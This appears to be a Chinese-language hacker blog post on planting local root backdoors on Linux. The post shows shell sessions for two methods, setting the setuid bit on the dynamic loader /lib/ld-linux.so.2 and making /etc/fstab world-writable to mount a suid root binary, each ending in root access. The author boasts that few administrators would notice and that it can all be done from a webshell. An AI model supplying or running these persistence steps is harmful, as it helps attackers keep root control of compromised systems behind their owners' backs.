方法一:setuid的方法,其實8是很隱蔽。看看過程:
[root@localdomain lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod +s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我們這裡給/lib/ld-linux.so.2這個檔案(在FC8裡,它指向ld-2.7.so這個檔案)加了setuid屬性。然後我們看怎麼利用它。
普通使用者登入,測試下許可權:
[xiaoyu@localdomain ~]$ whoami
xiaoyu
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdomain ~]$
恩,嘿嘿 root了吧,具體怎麼產生root shell,你們自己去想吧,凡事都不要點得太透,對吧。呵呵,可以肯定的一點,/lib/ld-linux.so.2 /bin/sh肯定產生不了rootshell, bash檢查euid 和uid,看是否相等...OK,不多說了。
方法二:
[root@localdomain etc]# chmod a+w /etc/fstab
[root@localdomain etc]#
這就留好了。此方法比較XXOXX,估計沒幾個管理員知道。利用方法示範下
[xiaoyu@localdomain ~]$ ls -l /etc/fstab
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab
然後從本機把一個檔案到目標機器上去,這裡我們命名為test
[xiaoyu@localdomain tmp]$ ls -l test
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
[xiaoyu@localdomain tmp]$ mount test
[xiaoyu@localdomain tmp]$ cd /mnt
[xiaoyu@localdomain mnt]$ ls -l
total 18
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
[xiaoyu@localdomain mnt]$ ./root
sh-3.2#
看到了吧,從普通使用者提升到root了。呵呵。
test這個檔案baidu貌似木有上傳功能撒,木辦法傳
貌似可能有人說本地後門木啥鳥用,但是你要搞清楚:一個webshell裡面就可以完成這一切...